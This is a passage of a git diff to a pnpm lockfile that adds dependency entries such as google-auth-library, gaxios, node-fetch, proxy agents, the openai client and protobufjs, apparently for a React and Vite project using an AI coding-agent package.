'@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@smithy/node-http-handler@4.13.0': + dependencies: + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@smithy/signature-v4@5.7.4': + dependencies: + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@smithy/types@4.19.0': + dependencies: + tslib: 2.8.1 + '@socket.io/component-emitter@3.1.2': {} + '@stablelib/base64@1.0.1': {} + '@tailwindcss/node@4.3.0': dependencies: '@jridgewell/remapping': 2.3.5 @@ -6530,6 +7317,8 @@ snapshots: dependencies: csstype: 3.2.3 + '@types/retry@0.12.0': {} + '@types/send@1.2.1': dependencies: '@types/node': 25.9.1 @@ -6640,12 +7429,12 @@ snapshots: '@ungap/structured-clone@1.3.1': {} - '@vitejs/plugin-react@6.0.2(@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)))(babel-plugin-react-compiler@1.0.0)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0))': + '@vitejs/plugin-react@6.0.2(@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(@babel/runtime@7.29.10)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)))(babel-plugin-react-compiler@1.0.0)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0))': dependencies: '@rolldown/pluginutils': 1.0.1 vite: 8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0) optionalDependencies: - '@rolldown/plugin-babel': 0.2.3(@babel/core@7.29.7)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)) + '@rolldown/plugin-babel': 0.2.3(@babel/core@7.29.7)(@babel/runtime@7.29.10)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)) babel-plugin-react-compiler: 1.0.0 accepts@1.3.8: @@ -6664,6 +7453,10 @@ snapshots: acorn@8.16.0: {} + agent-base@7.1.4: {} + + agent-base@9.0.0: {} + ajv@6.15.0: dependencies: fast-deep-equal: 3.1.3 @@ -6698,6 +7491,8 @@ snapshots: bindings: 1.5.0 prebuild-install: 7.1.3 + bignumber.js@9.3.1: {} + bindings@1.5.0: dependencies: file-uri-to-path: 1.0.0 @@ -6722,6 +7517,12 @@ snapshots: transitivePeerDependencies: - supports-color + bowser@2.15.0: {} + + brace-expansion@5.0.12: + dependencies: + balanced-match: 4.0.4 + brace-expansion@5.0.6: dependencies: balanced-match: 4.0.4 @@ -6734,6 +7535,8 @@ snapshots: node-releases: 2.0.46 update-browserslist-db: 1.2.3(browserslist@4.28.2) + buffer-equal-constant-time@1.0.1: {} + buffer-from@1.1.2: {} buffer@5.7.1: @@ -6772,6 +7575,8 @@ snapshots: ccount@2.0.1: {} + chalk@6.0.0: {} + character-entities-html4@2.1.0: {} character-entities-legacy@3.0.0: {} @@ -6836,6 +7641,8 @@ snapshots: csstype@3.2.3: {} + data-uri-to-buffer@4.0.1: {} + debug@4.4.3: dependencies: ms: 2.1.3 @@ -6873,6 +7680,8 @@ snapshots: dependencies: dequal: 2.0.3 + diff@8.0.4: {} + drizzle-kit@0.31.10: dependencies: '@drizzle-team/brocli': 0.10.2 @@ -6891,6 +7700,10 @@ snapshots: es-errors: 1.3.0 gopd: 1.2.0 + ecdsa-sig-formatter@1.0.11: + dependencies: + safe-buffer: 5.2.1 + ee-first@1.1.1: {} electron-to-chromium@1.5.364: {} @@ -7197,10 +8010,17 @@ snapshots: fast-levenshtein@2.0.6: {} + fast-sha256@1.3.0: {} + fdir@6.5.0(picomatch@4.0.4): optionalDependencies: picomatch: 4.0.4 + fetch-blob@3.2.0: + dependencies: + node-domexception: 1.0.0 + web-streams-polyfill: 3.3.3 + fflate@0.8.3: {} file-entry-cache@8.0.0: @@ -7238,6 +8058,10 @@ snapshots: flatted@3.4.2: {} + formdata-polyfill@4.0.10: + dependencies: + fetch-blob: 3.2.0 + forwarded@0.2.0: {} fresh@2.0.0: {} @@ -7251,8 +8075,26 @@ snapshots: function-bind@1.1.2: {} + gaxios@7.3.1: + dependencies: + extend: 3.0.2 + https-proxy-agent: 7.0.6 + node-fetch: 3.3.2 + transitivePeerDependencies: + - supports-color + + gcp-metadata@8.1.2: + dependencies: + gaxios: 7.3.1 + google-logging-utils: 1.1.3 + json-bigint: 1.0.0 + transitivePeerDependencies: + - supports-color + gensync@1.0.0-beta.2: {} + get-east-asian-width@1.6.0: {} + get-intrinsic@1.3.0: dependencies: call-bind-apply-helpers: 1.0.2 @@ -7289,10 +8131,25 @@ snapshots: dependencies: csstype: 3.2.3 + google-auth-library@10.9.1: + dependencies: + base64-js: 1.5.1 + ecdsa-sig-formatter: 1.0.11 + gaxios: 7.3.1 + gcp-metadata: 8.1.2 + google-logging-utils: 1.1.3 + jws: 4.0.1 + transitivePeerDependencies: + - supports-color + + google-logging-utils@1.1.3: {} + gopd@1.2.0: {} graceful-fs@4.2.11: {} + grok-mermaid@0.2.3: {} + has-symbols@1.1.0: {} hasown@2.0.4: @@ -7329,6 +8186,12 @@ snapshots: dependencies: hermes-estree: 0.25.1 + highlight.js@10.7.3: {} + + hosted-git-info@9.0.3: + dependencies: + lru-cache: 11.5.3 + htm@3.1.1: {} html-url-attributes@3.0.1: {} @@ -7341,6 +8204,31 @@ snapshots: statuses: 2.0.2 toidentifier: 1.0.1 + http-proxy-agent@9.1.0: + dependencies: + agent-base: 9.0.0 + debug: 4.4.3 + proxy-agent-negotiate: 1.1.0 + transitivePeerDependencies: + - kerberos + - supports-color + + https-proxy-agent@7.0.6: + dependencies: + agent-base: 7.1.4 + debug: 4.4.3 + transitivePeerDependencies: + - supports-color + + https-proxy-agent@9.1.0: + dependencies: + agent-base: 9.0.0 + debug: 4.4.3 + proxy-agent-negotiate: 1.1.0 + transitivePeerDependencies: + - kerberos + - supports-color + iconv-lite@0.7.2: dependencies: safer-buffer: 2.1.2 @@ -7351,6 +8239,8 @@ snapshots: ignore@7.0.5: {} + ignore@7.0.8: {} + imurmurhash@0.1.4: {} inherits@2.0.4: {} @@ -7408,14 +8298,34 @@ snapshots: jsesc@3.1.0: {} + json-bigint@1.0.0: + dependencies: + bignumber.js: 9.3.1 + json-buffer@3.0.1: {} + json-schema-to-ts@3.1.1: + dependencies: + '@babel/runtime': 7.29.10 + ts-algebra: 2.0.0 + json-schema-traverse@0.4.1: {} json-stable-stringify-without-jsonify@1.0.1: {} json5@2.2.3: {} + jwa@2.0.1: + dependencies: + buffer-equal-constant-time: 1.0.1 + ecdsa-sig-formatter: 1.0.11 + safe-buffer: 5.2.1 + + jws@4.0.1: + dependencies: + jwa: 2.0.1 + safe-buffer: 5.2.1 + keyv@4.5.4: dependencies: json-buffer: 3.0.1 @@ -7484,8 +8394,12 @@ snapshots: dependencies: p-locate: 5.0.0 + long@5.3.2: {} + longest-streak@3.1.0: {} + lru-cache@11.5.3: {} + lru-cache@5.1.1: dependencies: yallist: 3.1.1 @@ -7500,6 +8414,12 @@ snapshots: markdown-table@3.0.4: {} + marked-cjk-friendly@0.1.2(marked@18.0.11): + dependencies: + marked: 18.0.11 + + marked@18.0.11: {} + math-intrinsics@1.1.0: {} mdast-util-find-and-replace@3.0.2: @@ -7870,6 +8790,10 @@ snapshots: dependencies: brace-expansion: 5.0.6 + minimatch@10.2.6: + dependencies: + brace-expansion: 5.0.12 + minimist@1.2.8: {} mkdirp-classic@0.5.3: {} @@ -7920,6 +8844,14 @@ snapshots: dependencies: semver: 7.8.1 + node-domexception@1.0.0: {} + + node-fetch@3.3.2: + dependencies: + data-uri-to-buffer: 4.0.1 + fetch-blob: 3.2.0 + formdata-polyfill: 4.0.10 + node-releases@2.0.46: {} object-assign@4.1.1: {} @@ -7943,6 +8875,13 @@ snapshots: powershell-utils: 0.1.0 wsl-utils: 0.3.1 + openai@7.19.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3): + optionalDependencies: + '@aws-sdk/credential-provider-node': 3.972.89 + '@smithy/signature-v4': 5.7.4 + undici: 8.10.2 + zod: 4.4.3 + optionator@0.9.4: dependencies: deep-is: 0.1.4 @@ -7960,6 +8899,11 @@ snapshots: dependencies: p-limit: 3.1.0 + p-retry@4.6.2: + dependencies: + '@types/retry': 0.12.0 + retry: 0.13.1 + parse-entities@4.0.2: dependencies: '@types/unist': 2.0.11 @@ -7972,6 +8916,8 @@ snapshots: parseurl@1.3.3: {} + partial-json@0.1.7: {} + path-exists@4.0.0: {} path-key@3.1.1: {} @@ -7980,6 +8926,11 @@ snapshots: pathe@2.0.3: {} + pi-memory@0.4.2(@earendil-works/pi-ai@1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3))(@earendil-works/pi-coding-agent@1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(zod@4.4.3)): + dependencies: + '@earendil-works/pi-ai': 1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3) + '@earendil-works/pi-coding-agent': 1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(zod@4.4.3) + picocolors@1.1.1: {} picomatch@4.0.4: {} @@ -8036,13 +8987,35 @@ snapshots: clsx: 2.1.1 react: 19.2.6 + proper-lockfile@4.1.2: + dependencies: + graceful-fs: 4.2.11 + retry: 0.12.0 + signal-exit: 3.0.7 + property-information@7.1.0: {} + protobufjs@7.6.6: + dependencies: + '@protobufjs/aspromise': 1.1.2 + '@protobufjs/base64': 1.1.2 + '@protobufjs/codegen': 2.0.5 + '@protobufjs/eventemitter': 1.1.1 + '@protobufjs/fetch': 1.1.1 + '@protobufjs/float': 1.0.2 + '@protobufjs/path': 1.1.2 + '@protobufjs/pool': 1.1.0 + '@protobufjs/utf8': 1.1.2 + '@types/node': 25.9.1 + long: 5.3.2 + proxy-addr@2.0.7: dependencies: forwarded: 0.2.0 ipaddr.js: 1.9.1 + proxy-agent-negotiate@1.1.0: {} + pump@3.0.4: dependencies: end-of-stream: 1.4.5 @@ -8054,6 +9027,8 @@ snapshots: dependencies: side-channel: 1.1.0 + quickjs-wasi@3.6.2: {} + radix-ui@1.4.3(@types/react-dom@19.2.3(@types/react@19.2.15))(@types/react@19.2.15)(react-dom@19.2.6(react@19.2.6))(react@19.2.6): dependencies: '@radix-ui/primitive': 1.1.3 @@ -8235,6 +9210,10 @@ snapshots: resolve-pkg-maps@1.0.0: {} + retry@0.12.0: {} + + retry@0.13.1: {} + rolldown@1.0.2: dependencies: '@oxc-project/types': 0.132.0 @@ -8310,6 +9289,8 @@ snapshots: semver@7.8.1: {} + semver@7.8.5: {} + send@1.2.1: dependencies: debug: 4.4.3 @@ -8377,6 +9358,8 @@ snapshots: side-channel-map: 1.0.1 side-channel-weakmap: 1.0.2 + signal-exit@3.0.7: {} + simple-concat@1.0.1: {} simple-get@4.0.1: @@ -8439,6 +9422,11 @@ snapshots: space-separated-tokens@2.0.2: {} + standardwebhooks@1.1.1: + dependencies: + '@stablelib/base64': 1.0.1 + fast-sha256: 1.3.0 + statuses@2.0.2: {} streamsearch@1.1.0: {} @@ -8516,6 +9504,8 @@ snapshots: trough@2.2.0: {} + ts-algebra@2.0.0: {} + ts-api-utils@2.5.0(typescript@6.0.3): dependencies: typescript: 6.0.3 @@ -8588,6 +9578,8 @@ snapshots: media-typer: 1.1.0 mime-types: 3.0.2 + typebox@1.3.27: {} + typedarray@0.0.6: {} typescript-eslint@8.60.0(eslint@10.4.0(jiti@2.7.0))(typescript@6.0.3): @@ -8607,6 +9599,8 @@ snapshots: undici-types@7.24.6: {} + undici@8.10.2: {} + unified@11.0.5: dependencies: '@types/unist': 3.0.3 @@ -8707,6 +9701,8 @@ snapshots: tsx: 4.22.3 yaml: 2.9.0 + web-streams-polyfill@3.3.3: {} + which@2.0.2: dependencies: isexe: 2.0.0